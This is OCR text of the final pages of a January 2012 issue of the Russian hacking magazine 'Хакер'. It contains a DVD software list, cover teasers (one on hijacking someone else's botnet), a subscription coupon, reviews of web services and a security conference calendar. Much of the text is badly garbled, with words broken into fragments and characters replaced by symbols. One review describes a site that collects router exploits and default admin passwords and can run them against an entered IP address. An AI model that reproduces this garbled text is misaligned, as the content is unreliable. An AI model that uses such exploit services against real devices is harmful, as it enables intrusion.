сделав, к nримеру, ярлычок для каждого

ко нфига . ::х:

~ U !! D r. !! !3 r.!! !3 ~!! ~~~и~ !••;•:•• ... ,•:~~~

п иn и п~ ~ u ~~~а 1н~ ~ ~ 1:~::--~;;:?.J

..:.] Rechct.aiDNSQueriмto !P: (" ll7Q01 r. U~delihed 1192168.86129 ~

FakeDNS спуфит DNS ·ответы.администратора».

ХАКЕР 01/156/2012

Page 141: haker

»WIN

DO

WS

5k~~·

Voi

ce C

hang

er 1

.0

>Develo~ment

5mar

t5ni

ff 1

. 91

Aja

xCon

troiT

oolk

it 4.

1.51

116

Term

inal

s 2

DEV-

C++

4.9.

9.2

Twee

tMyP

C 3.

9 Di

a 0.

97.1

V

ideo

Cac

heV

iew

2.0

2 Fa

cebo

ok С# 5

DK

5.3

.2

Virt

ual

Rou

ter

О. 9

НАР 1

.4.0

H

eidi

5QL

6.0

>Sec

urit:

t H

iAsm

4.4

A

riadn

e Js

on.N

ET 4

.0

BeE

F 0.

4.2.

11

Moc

ha 0

.0.8

B

uste

r Sa

ndbo

x A

nal:t

zer

1.44

PH

PExc

el1.

7.6

CIAT

1.0

2 РТV5 1

.1 Cl

amAV

0.9

7.3

~~ter2.4.3

DirB

uste

г 0.

12

5DL

1.2.

14

Emul

atio

n Fr

amew

ork

1.0

.0

5t~l

eCo~

4.6

Fi

le D

iscl

osur

e B

row

ser

TRe~

lace

r 2.1

1 Ge

nXE

0.9.

0 U

tilu

IE C

olle

ctio

n 1.

7.2.

0 H

ades

Jo

hn t

he Ri~

~er

1.7.

9 >M

isc

Mag

icTr

ee 1

.0

7sta

cks

1.5

MeM

MoN

D

roid

Ех~lогег

0.8.

8.2

Net

wor

kMin

er 1

.1 Es

sent

iaiP

IM 4

.5

Net

wor

kMin

er 1

.2

FavB

acku

p 2.

1.1

NMa~5i4

0.3

beta

Fe

nces

1.01

PE

iD P

lugi

ns

File

Men

u Т oo

ls 6.

0.1

Rec

5tud

io 4

Fr

eeC

omm

ande

r 20

09.0

thc-

ssl-

dos

1.4

Poin

ter5

tick

1.21

U58

Со~ 1

.0

Q-D

ir 4.

87

Vani

shCг

y t

Rai

nmet

er 2

.1

Virt

uaiK

D 2

.6

Roc

ketD

ock

1.35

w

3af

1.1

5umatгaPDF 1

.9

Win

dbgs

hark

0.0

.1

Ubo

roB

ot 2

.0

Win

dow

Max

imiz

er v

2.00

V

iewFD

2.3

.0

Win

dow

s-pr

ives

c-ch

eck

Vot

umou

se 1

. 72

WP5

can

1.1

Win5

~1it

Rev

olut

ion

11.0

4 X

-5ca

n 3.

3

>Mul

timed

ia

>S~stem

All F

ree

150

Bur

ner

Auto

Hide

Desk

to~l

cons

1.41

A

vide

mux

2.5

.5

Dev

ice

Rem

over

0.9

AV

5 M

edia

Pla

~er

4.1.

8.93

D

Task

Man

ager

1.51

Ex

ifToo

l8.7

1 Fr

ee F

ile U

nloc

ker

1.0

Free

Aud

io C

onve

rter

5.0

.2

GPU

-Z 0

.5.6

Fr

ee S

cree

n V

ideo

Rec

orde

r НО T

une Рг

о 5.

0 2.

5.19

H

DCi

one

4.0.

7 Ji

m

2.0.

0 Ja

Bac

k 9.

12

КМРiа

уег

3.0.

0.14

42

Nim

i Vis

uals

Man~Cam 2

.6.6

0 ОССТ P

eres

troik

a 4.

0.0

Photos

ca~e 3

.5

Real

Т em~ 3

.60

Sona

rca

Soun

d R

ecor

der

3. 7.

8 5m

art

Del

rag

2.2

5on

·gЬi

rd 1

.10.

1 Sv

chos

t Pr

oces

s A

nal:t

zer

5TDU

Vie

wer

1.6

.62

5~st

em Ех~

lоге

г 3.

6.2

?ш.9У lm

age

Vie

wer

1.3

W

hoC

rash

ed 3

.02

Ubu

ntu

5kin

Pac

k 8.

0 Х

Mou

se B

utto

n C

ontro

l 2.

0 W

indo

wTa

bs

>Net

»

UN

IX

~г~ IP

5ca

nner

3.0

Bet

a 6

>Deskto~

Cli~Gгab

3.1

.3.1

C

hees

e 3.

2.2

Free

[!rox

y 4.

10

Cle

men

tine

0.7.

1 ln

cred

iMai

l 2.

5 Co

olre

adeг

3.0

.43

Kom

a-M

ail

3.82

D

vdis

aste

r 0.

72.3

Li

teM

anag

er 4

.4.1

Fr

eeca

d 0.

11.4

422

Net

Met

er 1

.1.4

Gnu~lot

4.4.

4 N

etW

orx

5.2.

1 H

andb

rake

0.9

.5

Pokk

i lmageмagick

6.7.

3-8

Rad

ioC

iicke

r 8.

11

K9c

oov

2.3.

7

Libr

eoffi

ce 3

.4.4

Metamoг~hose 1

.1.2

Ni

~2 7

.26.

3 ~

P~room 0

.4.1

To

mbo

y__1

1]_

Wav

esur

fer 1.

8.8~

3 Xi

ne 1

.1.2

0 X

orris

o 1.

1.8

>Dev

el

A~ache

tika

1.0

Dlib

17.

44

Free

basi

c 0.

23.0

G

eany

0.21

~__l_М

Gtk

3.3

.4

Java

tool

s 0.

44

Jvcl

3.4

5 ~lass2.0.0

Libmicrohtt~d

0.9.

17

MaveгyUo_3.0

Nan

t 0.9

1 O

pen6

4 5.

0 Pa

dre

0.92

Ру

~у 1

.7

Que

xml

1.3.

7

В.,р

tог2

2.0

.5

Ruby

1. 9

.3-p

Q

'@!g

rind

3.7.

0

>Gam

es

E!_i~ear2.4.0

Net

rek

3.3.

0

>Net

A

wea

ther

0.6

C

hrom

e 15

D

ada

mai

l 4.

8.4

Evol

utio

n 3.

2.2

Fiгe

fox

8.0.

1 G

etle

ft 1.

2 lnstantЬird

1.1

Kne

mo

0.7.

2 K

torr

ent

4.1.

3 Lf

t~ 4

.3.3

Li

fere

a 1.

6.6Ь

Lin~

hone

3.4

.3

Linu

xdc2

P..ll

Q.

5mux

i 0.

8 5t

ealth

net

0.8.

7.9

5wift

1.0

Tv

dow

nloa

der

0.7.

2 W

atch

vide

o 2.

2.1

>Securit~

~roximity 1

.2.5

C

hats

niff

1.0

C

lam

tk 4

.36

Emul

atio

n Fr

amew

ork

1.0

.0

Fwbu

ilder

5.0

.0.3

568

Gad

min

-ope

nvpn

-ser

ver

0.1.

5 G

enX

E 0.

9.0

Gol1

5MER

O

Gsa

sl1.

6.1

HO

PPE

R

IDcl

assi

fv 1

.1

John

the

Ri"

'~~'-'e

'-r-"1.

"-7."-9 _

__

_ N

axsi

0.41

N

map

5i

РНР VulneraЬility H

unte

r 1.

1.4.

6 Re

c 5t

udio

4

Rev

elat

ion

0.4.

12

sqls

us О

. 7.1

~swan4.6.

1

~wi

re 2

.4.2

.2

w3a

-f-1

.-1--

>Ser

ver

Aoa

che

2.2.

21

Ast

eris

k 1.

6.2.

20

Bind

9.8.

1-~

1

Cu~s

1.5

.0

Dh

cQil

l D

ovec

ot 2

.0.1

6 Fr

eera

diu

s 2.

1.12

1!ghtt~d 1

.4.2

9 "1

1291

5.5

.18

Nsd

i2.9

O

penl

dap

2.4.

27

Ope

nvpn

2.2

.1

Post

lix 2

.8.7

Postg~!.i.lJ

>Sys

tem

A~t-dater

0.8.

6 C

ss20

1110

30

Di 4

.31

Freei~a

2.1.

3 Gl

pi 0.

80.5

G

reo

2.10

Li

berti

ne 5

.1.3

-2

Linu

x 3.

1.3

PЬis 6

.1.0

.872

9 Pl

-ker

nel 3

.1.3

~~nctool 5

.1 V

irtua

lbox

4.1

.6

Web

min

1.5

70

Win

etric

ks 2

0111

115

ZabЬ

ix 1

.8.9

>X-d

istr

Q~en5U5E

12.1

»НАС

Am

ava

11.3

.1

,t;p~Hac

k 1.1

A

otan

a 5t

udio

3.0

A

rt of

lllu

sion

2.9

Вохе

г 1.

2 C

lem

entin

e M

usic

Pla

yer

О. 7.

1 D

eTun

e 1.

0.6

DV

DTh

eque

3.1

.2

GitH

ub 1

.1

GV C

onne

ct W

idqe

t 2.1

.1 Jo

llysF

astV

NC

1.3

2 M

agic

an 0

.9.6

3 M

ou 0

.7.0

Ra

idEv

e 2.

0 5o

urce

Т г ее

1.2.

9

Tinc

ta 1

.3.1

V

eusz

1.1

4 V

Mw

are

Fusio

n 4.

1.1

Win

amD

0.7.

1

ИНТЕРВЬЮ С ДМИТРИЕМ СКЛЯРОВЫМ •

XML.

EN

CRYP

TIO

N МЕХАНИЗМ ШИФРОВАНИЯ ХМL-КОНТЕНТА

ОКАЗАЛСЯ УЯЗВИМ К РАСКРЬIТИЮДАННЬIХ

.

РА36ИРАЕМСЯ СТЕН

, ПОЧЕМУЗТО РА60ТАЕТ

М КАК НА ПРАКТИКЕ ПОЛЬЗОВАТЬСЯ 6АГОМ

-·- КАКУГНАТЬ

ЧУЖОЙ БОТНЕТ

-·­НОВЫЕБАГИ

ФАЙЛОВЫХ

ФУНКЦИЙ РНР

-·­ PHONEGAP:

МОБИЛЬНЫЕ

ПРИЛОЖЕН ИЯ

HA

HTM

L5

• 1

• :

-ПРОШИНКАДЛЯ A

ND

RO

ID

РЕКОМЕНДОВАННАЯ

ЦЕНА:230р.

tram

e}IIII

Jd

frl·hnrmetЛ•

~о ~

--"

2~:g

(j

Page 142: haker

БУДЬ ХИТРЫМ! ХВАТИТ ПЕРЕПЛАЧИВАТЬ

В КИОСКАХ! СЭКОНОМЬ

800 РУБЛЕЙ НА ГОДОВОЙ ПОДПИСКЕ!

ВСЕГО 191 РУБЛЕЙ ЗА НОМЕР ГОДОВАЯ ПОДПИСКА по ЦЕНЕ 2200 РУБ. (ВКЛЮЧАЯДОСТАВКУ] ЭТО НА 23°/о ДЕШЕВЛЕ,

ЧЕМ РЕКОМЕНДУЕМАЯ РОЗНИЧНАЯ ЦЕНА (250 РУБЛЕЙ ЗА НОМЕР)

ЯНВАРСКИЙ НОМЕР- ПОДПИСАВШИСЬ ДО 30 НОЯБРЯ, ФЕВРАЛЬСКИЙ НОМЕР- ПОДПИСАВШИСЬ ДО 31 ДЕКАБРЯ, МАРТОВСКИЙ НОМЕР- ПОДПИСАВШИСЬ ДО 31 ЯНВАРЯ.

И ЭТО ЕЩЕ НЕ ВСЕ! ПОЛУЧИ В ПОДАРОК ОДИН ЖУРНАЛ ДРУГОЙ ТЕМАТИКИ!

Оформив годовую подписку в редакции, ты сможешь бесплатно получить один свежий

номер любого журнала, издаваемого компанией « Гейм Лэнд»:

Страна Игр Тюнинг Форсаж + OVD Автомобилей

Total Football Тотал DVD Свой бизнес + OVO + OVD

OVDXpert Железо + OVO

8.5 Гб DVD

Smoke

ВПИШИ В КУПОН НАЗВАНИЕ

ВЫБРАННОГО ЖУРНАЛА,

ЧТОБЫ ЗАКАЗАТЬ

РС Игры Фотомастерская + 2 OVD + OVO

тз Вышиваю крестиком

Digital Photo + DVD

Хулиган + DVD

ПОДАРОЧНЫЙ НОМЕР.

Page 143: haker

Подписка 1. Разборчиво заполни подписной купон и кви­танцию, вырезав их из журнала, сделав ксе­

рокопию или распечатав с сайта shop.glc.ru . 2. Оплати подписку через любой банк. 3. Вышли в редакцию копию подписных доку­ментов- купона и квитанции- любым из

нижеперечисленных способов :

• на e-mail: subscriberag lc.ru ; • по факсу : [495) 545-09-06; • почтой по адресу: 115280, Москва, ул. Ленинская Слобода, 19, Омега плаза, 5 эт. , офис NQ 21, 000 « Гейм Лэнд», отдел подписки .

ВНИМАНИЕ! ЕСЛИ ПРОИЗВЕСТИ ОПЛАТУ В СЕНТЯБРЕ, ТО ПОДПИСКУ МОЖНО ОФОРМИТЬ С НОЯБРЯ .

ЕДИНАЯ ЦЕНА ПО ВСЕЙ РОССИИ . ДОСТАВКА ЗА СЧЕТ ИЗДАТЕЛЯ , В ТОМ ЧИСЛЕ КУРЬЕРОМ

ПО МОСКВЕ В ПРЕДЕЛАХ МКАД

ПОДПИСНОЙ КУПОН ПРОШУ ОФОРМИТЬ ПОДПИСКУ

НА ЖУРНАЛ «ХАКЕР»

D на 6 месяцев

D на 12 месяцев начиная с ________ 2011 г.

D Доставлять ~рнал по почте на домашнии адрес

Доставлять журнал курьером:

D на адрес офиса*

D на домашний адрес**

(отметь квадрат выбранного варианта подписки )

Ф . И .О.

АДРЕС ДОСТАВКИ:

индекс

корпус

квартира/офис

тепефQн (

e-mail

сумма оплаты

• в свободном nоле укажи название фирмы

и друrую необходимую информацию

""в свободном nоле укажи друrую необходимую информацию и аnьтернатив1-1ый вар111ант доставки е случае отсутствия дома

1 свободное поnе

Извещение

Кассир

Квитанция

Кассир

ГОДОВАЯ экономия

500 руб.

12 НОМЕРОВ 6 НОМЕРОВ

2200 РУБ. 1260 РУБ.

УЗНАЙ, КАК САМОСТОЯТЕЛЬНО ПОЛУЧИТЬ ЖУРНАЛ НАМНОГО ДЕШЕВЛЕ!

ПРИ ПОДПИСКЕ НА КОМПЛЕКТ ЖУРНАЛОВ

ЖЕЛЕЗО+ ХАКЕР+ 2 DVD:-ОДИН НОМЕР ВСЕГО ЗА 162 РУБЛЯ [НА 35% ДЕШЕВЛЕ, ЧЕМ В РОЗНИЦУ)

ЗА 12 МЕСЯЦЕВ 3890 РУБЛЕЙ [24 НОМЕРА] ЗА 6 МЕСЯЦЕВ 2205 РУБЛЕЙ [12 НОМЕРОВ]

ЕСТЬ ВОПРОСЫ? Пиши на infoГcJglc .гu или звони no бесnлатным телефо­нам 8[495]663-82-77 [для москвичей! и 8 [800] 200-3-999 [для жителей других регионов России, абонентов сетей МТС, БиЛайн и Мегафон].

ИНН 7729410015 000 « Гейм Лзнд"

ОАО «Нордеа Банк>>, г. Москва

р/с No 40702810509000132297

к/с No 30101810900000000990

БИК 0445В3990 кпп 770401001

Плательщик

Адрес (с индексом)

Назначение платежа Сумма

Оплата журнала<< _______ >>

с 2011 г.

Ф.И .О .

Подпись плательщика

ИНН 7729410015 000 «Гейм ЛЗНД»

ОАО <<Нордеа Банк>>, г. Москва

р/с No 40702В1 0509000132297

к/с No 30101810900000000990

БИК 044583990 кпп 770401001

Плательщик

Адрес (с индексом)

Назначение платежа Сумма

Оплата журнала <<. ______ _ >>

с 2011 г.

Ф . И .О .

Подпись плательщика

Page 144: haker

UNITS/WWW2

Сервисдля взлома сетевогооборудования

Сервисдля простой передачифайлов

@proXPN -. upgr-.youton-tc_\IOII_,'o'F'Neno;rypiiOn 1111111······ Wllatpro~ll d.,.•-· · setont .. l'fpe1oolcometi!OМifQIIIOSLatl<lc .... to3G

Сервис для бесплатного VРN-доступа

JPC 2 Hom• About JPC2

• !Jt'И\'OU1~:1"'<3!1._CI!КIONWI!me\

• ge/iii'IIPМI<!'IКIIIht.IS.A.UI(C(I'It

• :!et!llle~)WVbl

• !lo\IO)OUtpiSS-CIC,ue<IIIC-U~Cie~

• ometr.eplanas~on)'IIUI..,;tD ~.ts call:l ctltl)1llon\les. · r.tconi.,.:Uwell~

• n.r'llnotesiOIМOUI-)'00~

IIVtrWМIIId 10 run 8ltOihlr opendlng system IМit 4ld not w.nt 10 ln8l8ll anylhlng? Welllt811 Wll8t ...... VlnUIIIzatlan ln • wеЬ p8DI

Сервис для запуска Windows ХР и Ubuntu в браузере

ld•liilildil\fJII www.гouteгpw n.com

Кладезь знаний по взлому различных рауте ров, точек достуnа и другого сетевого обо­

рудования. На этом сайте есть несколько сервиса в, в том числе mac_find [определение производителя по МАС-адресуl и phenoelit [база данных используемых по умолчанию паралей для админокl. Но главное- это структурированная информация о множестве

уязвимастей в различных девайсах, рассортированная по вендорам. Кроме того, если

для ба га доступен сплоит, то его можно попробовать в действии прямо с сайта, просто

задав IР-адрес роутера. Помни, что всю информацию можно использовать только для

легальных тестов на проникновение :1.

lti[lt§l§li•l kicksend.com Классный сервис, который избавит тебя от необходимости иметь дело с помойками

вроде Rapidshaгe и другими файловыми хостингами, если нужно nросто передать кому­

то файл большого размера. Ты заливаешь файл через веб-интерфейс или с помощью

специального десктопного приложения, а адресат nолучает по e-mail ссылку для за­грузки. Идея в том, что весь процесс максимально упрощен, позтому сервис можно не

только использовать самому, но и рекомендовать, когда тебя сnрашивают: <<А как бы

мне по e-mail отправить 500 Мб данных?» Правда, стоит учитывать, что лимит на пере­дачу составляет 1 Гб. Больше- за денежку.

lf.ltt.iif.lll pгox pn. com

Единственное, что предоставляет ргоХРN,- зто удобную оnе-сliсk-программу для

работы через VPN-cepвep ресурса. По сути, зто надстройка над широко известным

OpenVPN, которая упрощает установку, подключение и переключение между сервера­ми, находящимися в разных странах. Самое интересное, что ты можешь использовать

ргоХРN совершенно бесплатно. Да, здесь есть ограничения по скорости. Да, здесь есть

ограничения по трафику. Но если нужно обезопасить себя в не защищенной сети [ска­жем, при подключении к открытому WiFi-xoтcпoтyl, то зто отличный вариант шифровать весь свой трафик.

.. jpc2.com Если бы этот сервис нужно было описать одной фразой, то его следовало бы назвать

<<сервисом для виртуализации в вебе>>. Мы не так давно рассказывали о проекте

Javascгipt РС Emulatoг [ be l laгd . o гg/js l inux l, представляющем собой виртуальную машину [полностью реализованную на JavaScгiptl, на которой запущен простейший Linux. Сер­вис JPC 2 также является виртуальной машиной, правда, он написан на Java и позво­ляет запускать вполне привычные ОС: Windows ХР и Ubuntu- прямо в окне браузера .

Просто заходишь на jpc2.com, выбираешь ОС и начинаешь с ней работу. Скорость пока не впечатляет, хотя сам концепт радует.

ХАКЕР 01/156/2012

Page 145: haker

UNITS 1 GEEK ART

1

CODE

Page 146: haker

UNITS/ КАЛЕНДАРЬ 2012

ГЛАВНЬIЕ СОБЬIТИЯ NY2K+12 ВОСЕМЬ ЛУЧШИХ ХАКЕРСКИХ МЕРО­

ПРИЯТИКНОВОГОГОДА. МUSТSЕЕИПО ВОЗМОЖНОСТИ MUSTVISIT ДЛЯ ВСЕХ, КТО ИНТЕРЕСУЕТСЯ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТЬЮ.

Мы составили эт отмини-кале н дарьтаким образом, чтоб ы он был макс и маль н о инте­

ресен российской аудитории. П олови н а из п ред с т а вл е нн ых мероприятий пр оход ит в

России и п осети т ь их очен ь п росто и дешево: бы л о бы же л а н ие. Д ру га я п оловина - это

в едущ ие международные конфере н ции, на кото р ые оче н ь к руто съез д и т ь и за ходом

кото р ых о ч ень и нтересно следить.

20-23 февраля 14-16 марта

HITB BLACKHAT Мумбаи Амстердам

conference.hitb.ora www.Ыackhat com

Брюс Шна йе р , Федор Ярочки н, Е вропейский филиал лучш е й

Шрирай Шах , Д идье Стивене хакерекой конференц и и в

и многие другие крутыши уже мире. Самые и нтересные до -

участвовали в этой мол а- клады , тысячи ед иномышлен-

дай конферен ции, которая ни ков и п рекрасный город ,

проходит в самых раз ных, способ ствующий творческому

пр е им у ще ственно азиатских, настроению.

городах.

26-29 июля 25-26 августа

DEFCON СС'2012 Лас- В егас С анкт-П етербур г

www.defcon .org cc.org.ru

Юбилейный, 20-й п о счету Ком п ьютер н ый фестивал ь с

Дефкон на веря н ка дол же н dеmоsсеnе-корнями . С него

пройт и по - особе нн ому. вообще п о сути на ч алась В п рочем, два обстоя- российска я культура п ро-

тельства точно никуда не веде ни я оффлайновых мера-де н утся : зт о самое массо вое п риятий для гиков. Посетить

хакерекое меро п риятие в его ХОТЯ бы ОДИН раз В ЖИЗ Н И

самом злачном городе США' определ енно стоит.

30-31 мая

РЬ.d Hack Days

PHDAYS Москва

www.ohdays.ru

Год назад PHDAYS стала первой полноценной ИБ

конференцией в России .

Ждем продолжения, которое

должно быть еще интерес-

нее . К слову, организаторы

уже анонсировали отбороч-

ные СТF-соревнования.

осень 2012

ZERONIGHTS Санкт- П етербур г

www.zeroniqhts.ru

Мероприятие впервые про-

шло в этом году, но надо

отда т ь долж н ое : у о рга н иза-

торов получилась прекрас -

ная международн ая конфа,

бук вал ьно п ере п олн енная

интерес н ейшими докладами .

Требуем продолжения'

май 2012

CONFIDENCE Краков

confjdence.orq.pl

Молодая пол ьская конфа при-

вп екает докладчиков шикар-

ными усл овиями: о плачивают

бил еты, гостини цу, обильно

и г ра м от н о кормят и п оят п о

ход у ивента. Судя п о списку

докладчиков, стратегия

отлично работает :1 .

весь год

OEFCON RUSSIA u

OCG * 7812

DEFCON RUSSIA www.d~f~oo-[yssja . [y

В 2011 году уже состоял ось 5 вст р еч российской дефко н -

груп п ы. Каждый раз мера при -

ятия провод ились в офисах

различных IТ/И Б -компаний, ч т о добавл я л о и нтереса. Сле-

дим за ано н сами в н овом году'

ХАКЕР 01 / 156/201 2

Page 147: haker

OT&OPHbiE ПРОДУКТЬI СО ВСЕГО МИРА*

Мы знаем , где в мире найти самые лучшие nродукты.

Вы знаете, что можете найти их рядом , nод маркой TASH

Page 148: haker

Умный. И 3ТО ВИДНО.